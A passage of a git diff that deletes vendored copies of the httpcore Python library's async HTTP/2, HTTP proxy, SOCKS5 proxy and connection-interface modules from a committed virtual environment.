event.flow_controlled_length is not None - assert event.data is not None - amount = event.flow_controlled_length - self._h2_state.acknowledge_received_data(amount, stream_id) - await self._write_outgoing_data(request) - yield event.data - elif isinstance(event, h2.events.StreamEnded): - break - - async def _receive_stream_event( - self, request: Request, stream_id: int - ) -> h2.events.ResponseReceived | h2.events.DataReceived | h2.events.StreamEnded: - """ - Return the next available event for a given stream ID. - - Will read more data from the network if required. - """ - while not self._events.get(stream_id): - await self._receive_events(request, stream_id) - event = self._events[stream_id].pop(0) - if isinstance(event, h2.events.StreamReset): - raise RemoteProtocolError(event) - return event - - async def _receive_events( - self, request: Request, stream_id: int | None = None - ) -> None: - """ - Read some data from the network until we see one or more events - for a given stream ID. - """ - async with self._read_lock: - if self._connection_terminated is not None: - last_stream_id = self._connection_terminated.last_stream_id - if stream_id and last_stream_id and stream_id > last_stream_id: - self._request_count -= 1 - raise ConnectionNotAvailable() - raise RemoteProtocolError(self._connection_terminated) - - # This conditional is a bit icky. We don't want to block reading if we've - # actually got an event to return for a given stream. We need to do that - # check *within* the atomic read lock. Though it also need to be optional, - # because when we call it from `_wait_for_outgoing_flow` we *do* want to - # block until we've available flow control, event when we have events - # pending for the stream ID we're attempting to send on. - if stream_id is None or not self._events.get(stream_id): - events = await self._read_incoming_data(request) - for event in events: - if isinstance(event, h2.events.RemoteSettingsChanged): - async with Trace( - "receive_remote_settings", logger, request - ) as trace: - await self._receive_remote_settings_change(event) - trace.return_value = event - - elif isinstance( - event, - ( - h2.events.ResponseReceived, - h2.events.DataReceived, - h2.events.StreamEnded, - h2.events.StreamReset, - ), - ): - if event.stream_id in self._events: - self._events[event.stream_id].append(event) - - elif isinstance(event, h2.events.ConnectionTerminated): - self._connection_terminated = event - - await self._write_outgoing_data(request) - - async def _receive_remote_settings_change( - self, event: h2.events.RemoteSettingsChanged - ) -> None: - max_concurrent_streams = event.changed_settings.get( - h2.settings.SettingCodes.MAX_CONCURRENT_STREAMS - ) - if max_concurrent_streams: - new_max_streams = min( - max_concurrent_streams.new_value, - self._h2_state.local_settings.max_concurrent_streams, - ) - if new_max_streams and new_max_streams != self._max_streams: - while new_max_streams > self._max_streams: - await self._max_streams_semaphore.release() - self._max_streams += 1 - while new_max_streams < self._max_streams: - await self._max_streams_semaphore.acquire() - self._max_streams -= 1 - - async def _response_closed(self, stream_id: int) -> None: - await self._max_streams_semaphore.release() - del self._events[stream_id] - async with self._state_lock: - if self._connection_terminated and not self._events: - await self.aclose() - - elif self._state == HTTPConnectionState.ACTIVE and not self._events: - self._state = HTTPConnectionState.IDLE - if self._keepalive_expiry is not None: - now = time.monotonic() - self._expire_at = now + self._keepalive_expiry - if self._used_all_stream_ids: # pragma: nocover - await self.aclose() - - async def aclose(self) -> None: - # Note that this method unilaterally closes the connection, and does - # not have any kind of locking in place around it. - self._h2_state.close_connection() - self._state = HTTPConnectionState.CLOSED - await self._network_stream.aclose() - - # Wrappers around network read/write operations... - - async def _read_incoming_data(self, request: Request) -> list[h2.events.Event]: - timeouts = request.extensions.get("timeout", {}) - timeout = timeouts.get("read", None) - - if self._read_exception is not None: - raise self._read_exception # pragma: nocover - - try: - data = await self._network_stream.read(self.READ_NUM_BYTES, timeout) - if data == b"": - raise RemoteProtocolError("Server disconnected") - except Exception as exc: - # If we get a network error we should: - # - # 1. Save the exception and just raise it immediately on any future reads. - # (For example, this means that a single read timeout or disconnect will - # immediately close all pending streams. Without requiring multiple - # sequential timeouts.) - # 2. Mark the connection as errored, so that we don't accept any other - # incoming requests. - self._read_exception = exc - self._connection_error = True - raise exc - - events: list[h2.events.Event] = self._h2_state.receive_data(data) - - return events - - async def _write_outgoing_data(self, request: Request) -> None: - timeouts = request.extensions.get("timeout", {}) - timeout = timeouts.get("write", None) - - async with self._write_lock: - data_to_send = self._h2_state.data_to_send() - - if self._write_exception is not None: - raise self._write_exception # pragma: nocover - - try: - await self._network_stream.write(data_to_send, timeout) - except Exception as exc: # pragma: nocover - # If we get a network error we should: - # - # 1. Save the exception and just raise it immediately on any future write. - # (For example, this means that a single write timeout or disconnect will - # immediately close all pending streams. Without requiring multiple - # sequential timeouts.) - # 2. Mark the connection as errored, so that we don't accept any other - # incoming requests. - self._write_exception = exc - self._connection_error = True - raise exc - - # Flow control... - - async def _wait_for_outgoing_flow(self, request: Request, stream_id: int) -> int: - """ - Returns the maximum allowable outgoing flow for a given stream. - - If the allowable flow is zero, then waits on the network until - WindowUpdated frames have increased the flow rate. - https://tools.ietf.org/html/rfc7540#section-6.9 - """ - local_flow: int = self._h2_state.local_flow_control_window(stream_id) - max_frame_size: int = self._h2_state.max_outbound_frame_size - flow = min(local_flow, max_frame_size) - while flow == 0: - await self._receive_events(request) - local_flow = self._h2_state.local_flow_control_window(stream_id) - max_frame_size = self._h2_state.max_outbound_frame_size - flow = min(local_flow, max_frame_size) - return flow - - # Interface for connection pooling... - - def can_handle_request(self, origin: Origin) -> bool: - return origin == self._origin - - def is_available(self) -> bool: - return ( - self._state != HTTPConnectionState.CLOSED - and not self._connection_error - and not self._used_all_stream_ids - and not ( - self._h2_state.state_machine.state - == h2.connection.ConnectionState.CLOSED - ) - ) - - def has_expired(self) -> bool: - now = time.monotonic() - return self._expire_at is not None and now > self._expire_at - - def is_idle(self) -> bool: - return self._state == HTTPConnectionState.IDLE - - def is_closed(self) -> bool: - return self._state == HTTPConnectionState.CLOSED - - def info(self) -> str: - origin = str(self._origin) - return ( - f"{origin!r}, HTTP/2, {self._state.name}, " - f"Request Count: {self._request_count}" - ) - - def __repr__(self) -> str: - class_name = self.__class__.__name__ - origin = str(self._origin) - return ( - f"<{class_name} [{origin!r}, {self._state.name}, " - f"Request Count: {self._request_count}]>" - ) - - # These context managers are not used in the standard flow, but are - # useful for testing or working with connection instances directly. - - async def __aenter__(self) -> AsyncHTTP2Connection: - return self - - async def __aexit__( - self, - exc_type: type[BaseException] | None = None, - exc_value: BaseException | None = None, - traceback: types.TracebackType | None = None, - ) -> None: - await self.aclose() - - -class HTTP2ConnectionByteStream: - def __init__( - self, connection: AsyncHTTP2Connection, request: Request, stream_id: int - ) -> None: - self._connection = connection - self._request = request - self._stream_id = stream_id - self._closed = False - - async def __aiter__(self) -> typing.AsyncIterator[bytes]: - kwargs = {"request": self._request, "stream_id": self._stream_id} - try: - async with Trace("receive_response_body", logger, self._request, kwargs): - async for chunk in self._connection._receive_response_body( - request=self._request, stream_id=self._stream_id - ): - yield chunk - except BaseException as exc: - # If we get an exception while streaming the response, - # we want to close the response (and possibly the connection) - # before raising that exception. - with AsyncShieldCancellation(): - await self.aclose() - raise exc - - async def aclose(self) -> None: - if not self._closed: - self._closed = True - kwargs = {"stream_id": self._stream_id} - async with Trace("response_closed", logger, self._request, kwargs): - await self._connection._response_closed(stream_id=self._stream_id) diff --git a/venv/Lib/site-packages/httpcore/_async/http_proxy.py b/venv/Lib/site-packages/httpcore/_async/http_proxy.py deleted file mode 100644 index cc9d92066e1680576846e46ccdf645a2b1dd5718..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httpcore/_async/http_proxy.py +++ /dev/null @@ -1,367 +0,0 @@ -from __future__ import annotations - -import base64 -import logging -import ssl -import typing - -from .._backends.base import SOCKET_OPTION, AsyncNetworkBackend -from .._exceptions import ProxyError -from .._models import ( - URL, - Origin, - Request, - Response, - enforce_bytes, - enforce_headers, - enforce_url, -) -from .._ssl import default_ssl_context -from .._synchronization import AsyncLock -from .._trace import Trace -from .connection import AsyncHTTPConnection -from .connection_pool import AsyncConnectionPool -from .http11 import AsyncHTTP11Connection -from .interfaces import AsyncConnectionInterface - -ByteOrStr = typing.Union[bytes, str] -HeadersAsSequence = typing.Sequence[typing.Tuple[ByteOrStr, ByteOrStr]] -HeadersAsMapping = typing.Mapping[ByteOrStr, ByteOrStr] - - -logger = logging.getLogger("httpcore.proxy") - - -def merge_headers( - default_headers: typing.Sequence[tuple[bytes, bytes]] | None = None, - override_headers: typing.Sequence[tuple[bytes, bytes]] | None = None, -) -> list[tuple[bytes, bytes]]: - """ - Append default_headers and override_headers, de-duplicating if a key exists - in both cases. - """ - default_headers = [] if default_headers is None else list(default_headers) - override_headers = [] if override_headers is None else list(override_headers) - has_override = set(key.lower() for key, value in override_headers) - default_headers = [ - (key, value) - for key, value in default_headers - if key.lower() not in has_override - ] - return default_headers + override_headers - - -class AsyncHTTPProxy(AsyncConnectionPool): # pragma: nocover - """ - A connection pool that sends requests via an HTTP proxy. - """ - - def __init__( - self, - proxy_url: URL | bytes | str, - proxy_auth: tuple[bytes | str, bytes | str] | None = None, - proxy_headers: HeadersAsMapping | HeadersAsSequence | None = None, - ssl_context: ssl.SSLContext | None = None, - proxy_ssl_context: ssl.SSLContext | None = None, - max_connections: int | None = 10, - max_keepalive_connections: int | None = None, - keepalive_expiry: float | None = None, - http1: bool = True, - http2: bool = False, - retries: int = 0, - local_address: str | None = None, - uds: str | None = None, - network_backend: AsyncNetworkBackend | None = None, - socket_options: typing.Iterable[SOCKET_OPTION] | None = None, - ) -> None: - """ - A connection pool for making HTTP requests. - - Parameters: - proxy_url: The URL to use when connecting to the proxy server. - For example `"http://127.0.0.1:8080/"`. - proxy_auth: Any proxy authentication as a two-tuple of - (username, password). May be either bytes or ascii-only str. - proxy_headers: Any HTTP headers to use for the proxy requests. - For example `{"Proxy-Authorization": "Basic :"}`. - ssl_context: An SSL context to use for verifying connections. - If not specified, the default `httpcore.default_ssl_context()` - will be used. - proxy_ssl_context: The same as `ssl_context`, but for a proxy server rather than a remote origin. - max_connections: The maximum number of concurrent HTTP connections that - the pool should allow. Any attempt to send a request on a pool that - would exceed this amount will block until a connection is available. - max_keepalive_connections: The maximum number of idle HTTP connections - that will be maintained in the pool. - keepalive_expiry: The duration in seconds that an idle HTTP connection - may be maintained for before being expired from the pool. - http1: A boolean indicating if HTTP/1.1 requests should be supported - by the connection pool. Defaults to True. - http2: A boolean indicating if HTTP/2 requests should be supported by - the connection pool. Defaults to False. - retries: The maximum number of retries when trying to establish - a connection. - local_address: Local address to connect from. Can also be used to - connect using a particular address family. Using - `local_address="0.0.0.0"` will connect using an `AF_INET` address - (IPv4), while using `local_address="::"` will connect using an - `AF_INET6` address (IPv6). - uds: Path to a Unix Domain Socket to use instead of TCP sockets. - network_backend: A backend instance to use for handling network I/O. - """ - super().__init__( - ssl_context=ssl_context, - max_connections=max_connections, - max_keepalive_connections=max_keepalive_connections, - keepalive_expiry=keepalive_expiry, - http1=http1, - http2=http2, - network_backend=network_backend, - retries=retries, - local_address=local_address, - uds=uds, - socket_options=socket_options, - ) - - self._proxy_url = enforce_url(proxy_url, name="proxy_url") - if ( - self._proxy_url.scheme == b"http" and proxy_ssl_context is not None - ): # pragma: no cover - raise RuntimeError( - "The `proxy_ssl_context` argument is not allowed for the http scheme" - ) - - self._ssl_context = ssl_context - self._proxy_ssl_context = proxy_ssl_context - self._proxy_headers = enforce_headers(proxy_headers, name="proxy_headers") - if proxy_auth is not None: - username = enforce_bytes(proxy_auth[0], name="proxy_auth") - password = enforce_bytes(proxy_auth[1], name="proxy_auth") - userpass = username + b":" + password - authorization = b"Basic " + base64.b64encode(userpass) - self._proxy_headers = [ - (b"Proxy-Authorization", authorization) - ] + self._proxy_headers - - def create_connection(self, origin: Origin) -> AsyncConnectionInterface: - if origin.scheme == b"http": - return AsyncForwardHTTPConnection( - proxy_origin=self._proxy_url.origin, - proxy_headers=self._proxy_headers, - remote_origin=origin, - keepalive_expiry=self._keepalive_expiry, - network_backend=self._network_backend, - proxy_ssl_context=self._proxy_ssl_context, - ) - return AsyncTunnelHTTPConnection( - proxy_origin=self._proxy_url.origin, - proxy_headers=self._proxy_headers, - remote_origin=origin, - ssl_context=self._ssl_context, - proxy_ssl_context=self._proxy_ssl_context, - keepalive_expiry=self._keepalive_expiry, - http1=self._http1, - http2=self._http2, - network_backend=self._network_backend, - ) - - -class AsyncForwardHTTPConnection(AsyncConnectionInterface): - def __init__( - self, - proxy_origin: Origin, - remote_origin: Origin, - proxy_headers: HeadersAsMapping | HeadersAsSequence | None = None, - keepalive_expiry: float | None = None, - network_backend: AsyncNetworkBackend | None = None, - socket_options: typing.Iterable[SOCKET_OPTION] | None = None, - proxy_ssl_context: ssl.SSLContext | None = None, - ) -> None: - self._connection = AsyncHTTPConnection( - origin=proxy_origin, - keepalive_expiry=keepalive_expiry, - network_backend=network_backend, - socket_options=socket_options, - ssl_context=proxy_ssl_context, - ) - self._proxy_origin = proxy_origin - self._proxy_headers = enforce_headers(proxy_headers, name="proxy_headers") - self._remote_origin = remote_origin - - async def handle_async_request(self, request: Request) -> Response: - headers = merge_headers(self._proxy_headers, request.headers) - url = URL( - scheme=self._proxy_origin.scheme, - host=self._proxy_origin.host, - port=self._proxy_origin.port, - target=bytes(request.url), - ) - proxy_request = Request( - method=request.method, - url=url, - headers=headers, - content=request.stream, - extensions=request.extensions, - ) - return await self._connection.handle_async_request(proxy_request) - - def can_handle_request(self, origin: Origin) -> bool: - return origin == self._remote_origin - - async def aclose(self) -> None: - await self._connection.aclose() - - def info(self) -> str: - return self._connection.info() - - def is_available(self) -> bool: - return self._connection.is_available() - - def has_expired(self) -> bool: - return self._connection.has_expired() - - def is_idle(self) -> bool: - return self._connection.is_idle() - - def is_closed(self) -> bool: - return self._connection.is_closed() - - def __repr__(self) -> str: - return f"<{self.__class__.__name__} [{self.info()}]>" - - -class AsyncTunnelHTTPConnection(AsyncConnectionInterface): - def __init__( - self, - proxy_origin: Origin, - remote_origin: Origin, - ssl_context: ssl.SSLContext | None = None, - proxy_ssl_context: ssl.SSLContext | None = None, - proxy_headers: typing.Sequence[tuple[bytes, bytes]] | None = None, - keepalive_expiry: float | None = None, - http1: bool = True, - http2: bool = False, - network_backend: AsyncNetworkBackend | None = None, - socket_options: typing.Iterable[SOCKET_OPTION] | None = None, - ) -> None: - self._connection: AsyncConnectionInterface = AsyncHTTPConnection( - origin=proxy_origin, - keepalive_expiry=keepalive_expiry, - network_backend=network_backend, - socket_options=socket_options, - ssl_context=proxy_ssl_context, - ) - self._proxy_origin = proxy_origin - self._remote_origin = remote_origin - self._ssl_context = ssl_context - self._proxy_ssl_context = proxy_ssl_context - self._proxy_headers = enforce_headers(proxy_headers, name="proxy_headers") - self._keepalive_expiry = keepalive_expiry - self._http1 = http1 - self._http2 = http2 - self._connect_lock = AsyncLock() - self._connected = False - - async def handle_async_request(self, request: Request) -> Response: - timeouts = request.extensions.get("timeout", {}) - timeout = timeouts.get("connect", None) - - async with self._connect_lock: - if not self._connected: - target = b"%b:%d" % (self._remote_origin.host, self._remote_origin.port) - - connect_url = URL( - scheme=self._proxy_origin.scheme, - host=self._proxy_origin.host, - port=self._proxy_origin.port, - target=target, - ) - connect_headers = merge_headers( - [(b"Host", target), (b"Accept", b"*/*")], self._proxy_headers - ) - connect_request = Request( - method=b"CONNECT", - url=connect_url, - headers=connect_headers, - extensions=request.extensions, - ) - connect_response = await self._connection.handle_async_request( - connect_request - ) - - if connect_response.status < 200 or connect_response.status > 299: - reason_bytes = connect_response.extensions.get("reason_phrase", b"") - reason_str = reason_bytes.decode("ascii", errors="ignore") - msg = "%d %s" % (connect_response.status, reason_str) - await self._connection.aclose() - raise ProxyError(msg) - - stream = connect_response.extensions["network_stream"] - - # Upgrade the stream to SSL - ssl_context = ( - default_ssl_context() - if self._ssl_context is None - else self._ssl_context - ) - alpn_protocols = ["http/1.1", "h2"] if self._http2 else ["http/1.1"] - ssl_context.set_alpn_protocols(alpn_protocols) - - kwargs = { - "ssl_context": ssl_context, - "server_hostname": self._remote_origin.host.decode("ascii"), - "timeout": timeout, - } - async with Trace("start_tls", logger, request, kwargs) as trace: - stream = await stream.start_tls(**kwargs) - trace.return_value = stream - - # Determine if we should be using HTTP/1.1 or HTTP/2 - ssl_object = stream.get_extra_info("ssl_object") - http2_negotiated = ( - ssl_object is not None - and ssl_object.selected_alpn_protocol() == "h2" - ) - - # Create the HTTP/1.1 or HTTP/2 connection - if http2_negotiated or (self._http2 and not self._http1): - from .http2 import AsyncHTTP2Connection - - self._connection = AsyncHTTP2Connection( - origin=self._remote_origin, - stream=stream, - keepalive_expiry=self._keepalive_expiry, - ) - else: - self._connection = AsyncHTTP11Connection( - origin=self._remote_origin, - stream=stream, - keepalive_expiry=self._keepalive_expiry, - ) - - self._connected = True - return await self._connection.handle_async_request(request) - - def can_handle_request(self, origin: Origin) -> bool: - return origin == self._remote_origin - - async def aclose(self) -> None: - await self._connection.aclose() - - def info(self) -> str: - return self._connection.info() - - def is_available(self) -> bool: - return self._connection.is_available() - - def has_expired(self) -> bool: - return self._connection.has_expired() - - def is_idle(self) -> bool: - return self._connection.is_idle() - - def is_closed(self) -> bool: - return self._connection.is_closed() - - def __repr__(self) -> str: - return f"<{self.__class__.__name__} [{self.info()}]>" diff --git a/venv/Lib/site-packages/httpcore/_async/interfaces.py b/venv/Lib/site-packages/httpcore/_async/interfaces.py deleted file mode 100644 index 361583bede6b2b84088b38054d5d8116ef9f1597..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httpcore/_async/interfaces.py +++ /dev/null @@ -1,137 +0,0 @@ -from __future__ import annotations - -import contextlib -import typing - -from .._models import ( - URL, - Extensions, - HeaderTypes, - Origin, - Request, - Response, - enforce_bytes, - enforce_headers, - enforce_url, - include_request_headers, -) - - -class AsyncRequestInterface: - async def request( - self, - method: bytes | str, - url: URL | bytes | str, - *, - headers: HeaderTypes = None, - content: bytes | typing.AsyncIterator[bytes] | None = None, - extensions: Extensions | None = None, - ) -> Response: - # Strict type checking on our parameters. - method = enforce_bytes(method, name="method") - url = enforce_url(url, name="url") - headers = enforce_headers(headers, name="headers") - - # Include Host header, and optionally Content-Length or Transfer-Encoding. - headers = include_request_headers(headers, url=url, content=content) - - request = Request( - method=method, - url=url, - headers=headers, - content=content, - extensions=extensions, - ) - response = await self.handle_async_request(request) - try: - await response.aread() - finally: - await response.aclose() - return response - - @contextlib.asynccontextmanager - async def stream( - self, - method: bytes | str, - url: URL | bytes | str, - *, - headers: HeaderTypes = None, - content: bytes | typing.AsyncIterator[bytes] | None = None, - extensions: Extensions | None = None, - ) -> typing.AsyncIterator[Response]: - # Strict type checking on our parameters. - method = enforce_bytes(method, name="method") - url = enforce_url(url, name="url") - headers = enforce_headers(headers, name="headers") - - # Include Host header, and optionally Content-Length or Transfer-Encoding. - headers = include_request_headers(headers, url=url, content=content) - - request = Request( - method=method, - url=url, - headers=headers, - content=content, - extensions=extensions, - ) - response = await self.handle_async_request(request) - try: - yield response - finally: - await response.aclose() - - async def handle_async_request(self, request: Request) -> Response: - raise NotImplementedError() # pragma: nocover - - -class AsyncConnectionInterface(AsyncRequestInterface): - async def aclose(self) -> None: - raise NotImplementedError() # pragma: nocover - - def info(self) -> str: - raise NotImplementedError() # pragma: nocover - - def can_handle_request(self, origin: Origin) -> bool: - raise NotImplementedError() # pragma: nocover - - def is_available(self) -> bool: - """ - Return `True` if the connection is currently able to accept an - outgoing request. - - An HTTP/1.1 connection will only be available if it is currently idle. - - An HTTP/2 connection will be available so long as the stream ID space is - not yet exhausted, and the connection is not in an error state. - - While the connection is being established we may not yet know if it is going - to result in an HTTP/1.1 or HTTP/2 connection. The connection should be - treated as being available, but might ultimately raise `NewConnectionRequired` - required exceptions if multiple requests are attempted over a connection - that ends up being established as HTTP/1.1. - """ - raise NotImplementedError() # pragma: nocover - - def has_expired(self) -> bool: - """ - Return `True` if the connection is in a state where it should be closed. - - This either means that the connection is idle and it has passed the - expiry time on its keep-alive, or that server has sent an EOF. - """ - raise NotImplementedError() # pragma: nocover - - def is_idle(self) -> bool: - """ - Return `True` if the connection is currently idle. - """ - raise NotImplementedError() # pragma: nocover - - def is_closed(self) -> bool: - """ - Return `True` if the connection has been closed. - - Used when a response is closed to determine if the connection may be - returned to the connection pool or not. - """ - raise NotImplementedError() # pragma: nocover diff --git a/venv/Lib/site-packages/httpcore/_async/socks_proxy.py b/venv/Lib/site-packages/httpcore/_async/socks_proxy.py deleted file mode 100644 index b363f55a0b071de6c5f377726be82dc2110e373c..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httpcore/_async/socks_proxy.py +++ /dev/null @@ -1,341 +0,0 @@ -from __future__ import annotations - -import logging -import ssl - -import socksio - -from .._backends.auto import AutoBackend -from .._backends.base import AsyncNetworkBackend, AsyncNetworkStream -from .._exceptions import ConnectionNotAvailable, ProxyError -from .._models import URL, Origin, Request, Response, enforce_bytes, enforce_url -from .._ssl import default_ssl_context -from .._synchronization import AsyncLock -from .._trace import Trace -from .connection_pool import AsyncConnectionPool -from .http11 import AsyncHTTP11Connection -from .interfaces import AsyncConnectionInterface - -logger = logging.getLogger("httpcore.socks") - - -AUTH_METHODS = { - b"\x00": "NO AUTHENTICATION REQUIRED", - b"\x01": "GSSAPI", - b"\x02": "USERNAME/PASSWORD", - b"\xff": "NO ACCEPTABLE METHODS", -} - -REPLY_CODES = { - b"\x00": "Succeeded", - b"\x01": "General SOCKS server failure", - b"\x02": "Connection not allowed by ruleset", - b"\x03": "Network unreachable", - b"\x04": "Host unreachable", - b"\x05": "Connection refused", - b"\x06": "TTL expired", - b"\x07": "Command not supported", - b"\x08": "Address type not supported", -} - - -async def _init_socks5_connection( - stream: AsyncNetworkStream, - *, - host: bytes, - port: int, - auth: tuple[bytes, bytes] | None = None, -) -> None: - conn = socksio.socks5.SOCKS5Connection() - - # Auth method request - auth_method = ( - socksio.socks5.SOCKS5AuthMethod.NO_AUTH_REQUIRED - if auth is None - else socksio.socks5.SOCKS5AuthMethod.USERNAME_PASSWORD - ) - conn.send(socksio.socks5.SOCKS5AuthMethodsRequest([auth_method])) - outgoing_bytes = conn.data_to_send() - await stream.write(outgoing_bytes) - - # Auth method response - incoming_bytes = await stream.read(max_bytes=4096) - response = conn.receive_data(incoming_bytes) - assert isinstance(response, socksio.socks5.SOCKS5AuthReply) - if response.method != auth_method: - requested = AUTH_METHODS.get(auth_method, "UNKNOWN") - responded = AUTH_METHODS.get(response.method, "UNKNOWN") - raise ProxyError( - f"Requested {requested} from proxy server, but got {responded}." - ) - - if response.method == socksio.socks5.SOCKS5AuthMethod.USERNAME_PASSWORD: - # Username/password request - assert auth is not None - username, password = auth - conn.send(socksio.socks5.SOCKS5UsernamePasswordRequest(username, password)) - outgoing_bytes = conn.data_to_send() - await stream.write(outgoing_bytes) - - # Username/password response - incoming_bytes = await stream.read(max_bytes=4096) - response = conn.receive_data(incoming_bytes) - assert isinstance(response, socksio.socks5.SOCKS5UsernamePasswordReply) - if not response.success: - raise ProxyError("Invalid username/password") - - # Connect request - conn.send( - socksio.socks5.SOCKS5CommandRequest.from_address( - socksio.socks5.SOCKS5Command.CONNECT, (host, port) - ) - ) - outgoing_bytes = conn.data_to_send() - await stream.write(outgoing_bytes) - - # Connect response - incoming_bytes = await stream.read(max_bytes=4096) - response = conn.receive_data(incoming_bytes) - assert isinstance(response, socksio.socks5.SOCKS5Reply) - if response.reply_code != socksio.socks5.SOCKS5ReplyCode.SUCCEEDED: - reply_code = REPLY_CODES.get(response.reply_code, "UNKOWN") - raise ProxyError(f"Proxy Server could not connect: {reply_code}.") - - -class AsyncSOCKSProxy(AsyncConnectionPool): # pragma: nocover - """ - A connection pool that sends requests via an HTTP proxy. - """ - - def __init__( - self, - proxy_url: URL | bytes | str, - proxy_auth: tuple[bytes | str, bytes | str] | None = None, - ssl_context: ssl.SSLContext | None = None, - max_connections: int | None = 10, - max_keepalive_connections: int | None = None, - keepalive_expiry: float | None = None, - http1: bool = True, - http2: bool = False, - retries: int = 0, - network_backend: AsyncNetworkBackend | None = None, - ) -> None: - """ - A connection pool for making HTTP requests. - - Parameters: - proxy_url: The URL to use when connecting to the proxy server. - For example `"http://127.0.0.1:8080/"`. - ssl_context: An SSL context to use for verifying connections. - If not specified, the default `httpcore.default_ssl_context()` - will be used. - max_connections: The maximum number of concurrent HTTP connections that - the pool should allow. Any attempt to send a request on a pool that - would exceed this amount will block until a connection is available. - max_keepalive_connections: The maximum number of idle HTTP connections - that will be maintained in the pool. - keepalive_expiry: The duration in seconds that an idle HTTP connection - may be maintained for before being expired from the pool. - http1: A boolean indicating if HTTP/1.1 requests should be supported - by the connection pool. Defaults to True. - http2: A boolean indicating if HTTP/2 requests should be supported by - the connection pool. Defaults to False. - retries: The maximum number of retries when trying to establish - a connection. - local_address: Local address to connect from. Can also be used to - connect using a particular address family. Using - `local_address="0.0.0.0"` will connect using an `AF_INET` address - (IPv4), while using `local_address="::"` will connect using an - `AF_INET6` address (IPv6). - uds: Path to a Unix Domain Socket to use instead of TCP sockets. - network_backend: A backend instance to use for handling network I/O. - """ - super().__init__( - ssl_context=ssl_context, - max_connections=max_connections, - max_keepalive_connections=max_keepalive_connections, - keepalive_expiry=keepalive_expiry, - http1=http1, - http2=http2, - network_backend=network_backend, - retries=retries, - ) - self._ssl_context = ssl_context - self._proxy_url = enforce_url(proxy_url, name="proxy_url") - if proxy_auth is not None: - username, password = proxy_auth - username_bytes = enforce_bytes(username, name="proxy_auth") - password_bytes = enforce_bytes(password, name="proxy_auth") - self._proxy_auth: tuple[bytes, bytes] | None = ( - username_bytes, - password_bytes, - ) - else: - self._proxy_auth = None - - def create_connection(self, origin: Origin) -> AsyncConnectionInterface: - return AsyncSocks5Connection( - proxy_origin=self._proxy_url.origin, - remote_origin=origin, - proxy_auth=self._proxy_auth, - ssl_context=self._ssl_context, - keepalive_expiry=self._keepalive_expiry, - http1=self._http1, - http2=self._http2, - network_backend=self._network_backend, - ) - - -class AsyncSocks5Connection(AsyncConnectionInterface): - def __init__( - self, - proxy_origin: Origin, - remote_origin: Origin, - proxy_auth: tuple[bytes, bytes] | None = None, - ssl_context: ssl.SSLContext | None = None, - keepalive_expiry: float | None = None, - http1: bool = True, - http2: bool = False, - network_backend: AsyncNetworkBackend | None = None, - ) -> None: - self._proxy_origin = proxy_origin - self._remote_origin = remote_origin - self._proxy_auth = proxy_auth - self._ssl_context = ssl_context - self._keepalive_expiry = keepalive_expiry - self._http1 = http1 - self._http2 = http2 - - self._network_backend: AsyncNetworkBackend = ( - AutoBackend() if network_backend is None else network_backend - ) - self._connect_lock = AsyncLock() - self._connection: AsyncConnectionInterface | None = None - self._connect_failed = False - - async def handle_async_request(self, request: Request) -> Response: - timeouts = request.extensions.get("timeout", {}) - sni_hostname = request.extensions.get("sni_hostname", None) - timeout = timeouts.get("connect", None) - - async with self._connect_lock: - if self._connection is None: - try: - # Connect to the proxy - kwargs = { - "host": self._proxy_origin.host.decode("ascii"), - "port": self._proxy_origin.port, - "timeout": timeout, - } - async with Trace("connect_tcp", logger, request, kwargs) as trace: - stream = await self._network_backend.connect_tcp(**kwargs) - trace.return_value = stream - - # Connect to the remote host using socks5 - kwargs = { - "stream": stream, - "host": self._remote_origin.host.decode("ascii"), - "port": self._remote_origin.port, - "auth": self._proxy_auth, - } - async with Trace( - "setup_socks5_connection", logger, request, kwargs - ) as trace: - await _init_socks5_connection(**kwargs) - trace.return_value = stream - - # Upgrade the stream to SSL - if self._remote_origin.scheme == b"https": - ssl_context = ( - default_ssl_context() - if self._ssl_context is None - else self._ssl_context - ) - alpn_protocols = ( - ["http/1.1", "h2"] if self._http2 else ["http/1.1"] - ) - ssl_context.set_alpn_protocols(alpn_protocols) - - kwargs = { - "ssl_context": ssl_context, - "server_hostname": sni_hostname - or self._remote_origin.host.decode("ascii"), - "timeout": timeout, - } - async with Trace("start_tls", logger, request, kwargs) as trace: - stream = await stream.start_tls(**kwargs) - trace.return_value = stream - - # Determine if we should be using HTTP/1.1 or HTTP/2 - ssl_object = stream.get_extra_info("ssl_object") - http2_negotiated = ( - ssl_object is not None - and ssl_object.selected_alpn_protocol() == "h2" - ) - - # Create the HTTP/1.1 or HTTP/2 connection - if http2_negotiated or ( - self._http2 and not self._http1 - ): # pragma: nocover - from .http2 import AsyncHTTP2Connection - - self._connection = AsyncHTTP2Connection( - origin=self._remote_origin, - stream=stream, - keepalive_expiry=self._keepalive_expiry, - ) - else: - self._connection = AsyncHTTP11Connection( - origin=self._remote_origin, - stream=stream, - keepalive_expiry=self._keepalive_expiry, - ) - except Exception as exc: - self._connect_failed = True - raise exc - elif not self._connection.is_available(): # pragma: nocover - raise ConnectionNotAvailable() - - return await self._connection.handle_async_request(request) - - def can_handle_request(self, origin: Origin) -> bool: - return origin == self._remote_origin - - async def aclose(self) -> None: - if self._connection is not None: - await self._connection.aclose() - - def is_available(self) -> bool: - if self._connection is None: # pragma: nocover - # If HTTP/2 support is enabled, and the resulting connection could - # end up as HTTP/2 then we should indicate the connection as being - # available to service multiple requests. - return ( - self._http2 - and (self._remote_origin.scheme == b"https" or not self._http1) - and not self._connect_failed - ) - return self._connection.is_available() - - def has_expired(self) -> bool: - if self._connection is None: # pragma: nocover - return self._connect_failed - return self._connection.has_expired() - - def is_idle(self) -> bool: - if self._connection is None: # pragma: nocover - return self._connect_failed - return self._connection.is_idle() - - def is_closed(self) -> bool: - if self._connection is None: # pragma: nocover - return self._connect_failed - return self._connection.is_closed() - - def info(self) -> str: - if self._connection is None: # pragma: nocover - return "CONNECTION FAILED" if self._connect_failed else "CONNECTING" - return self._connection.info() - - def __repr__(self) -> str: - return f"<{self.__class__.__name__} [{self.info()}]>" diff --git a/venv/Lib/site-packages/httpcore/_backends/__init__.py b/venv/Lib/site-packages/httpcore/_backends/__init__.py deleted file mode 100644 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/venv/Lib/site-packages/httpcore/_backends/anyio.py b/venv/Lib/site-packages/httpcore/_backends/anyio.py deleted file mode 100644 index 